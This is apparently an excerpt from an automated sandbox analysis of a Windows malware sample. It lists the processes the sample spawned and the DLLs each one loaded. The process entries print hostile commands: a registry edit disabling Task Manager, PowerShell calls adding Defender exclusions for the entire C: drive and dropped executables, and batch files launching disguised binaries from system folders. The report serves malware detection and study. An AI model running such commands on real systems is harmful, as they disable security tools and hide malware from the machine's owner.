Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2PE3PxTrTQg.bat" "	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Process created: C:\Program Files\Everything\Everything.exe "C:\Program Files\Everything\Everything.exe" -app-data -install-run-on-system-startup -install-service -disable-run-as-admin -uninstall-folder-context-menu -install-start-menu-shortcuts -install-desktop-shortcut -uninstall-url-protocol -install-efu-association -install-language 1033 -save-install-options 0	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet/containerwebruntime.exe"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.cmdline"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dcil424w\dcil424w.cmdline"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pgfcrwpp\pgfcrwpp.cmdline"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\apppatch\CustomSDB\sihost.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\RuntimeBroker.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\KDhudFNWvk.bat"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAD56.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSCCB61929627DF440F9E17C549CE99168.TMP"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAFE6.tmp" "c:\Windows\System32\CSCE2A537B39618441DAC64E34137FF17.TMP"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB66E.tmp" "c:\Program Files\Everything\CSCA17046CBF8B64A188168A4AB380809F.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe "C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Source: C:\Program Files\Everything\Everything.exe	Process created: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe "C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Source: C:\Program Files\Everything\Everything.exe	Process created: C:\Program Files\Everything\Everything.exe.exe "C:\Program Files\Everything\Everything.exe.exe" -startup

Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
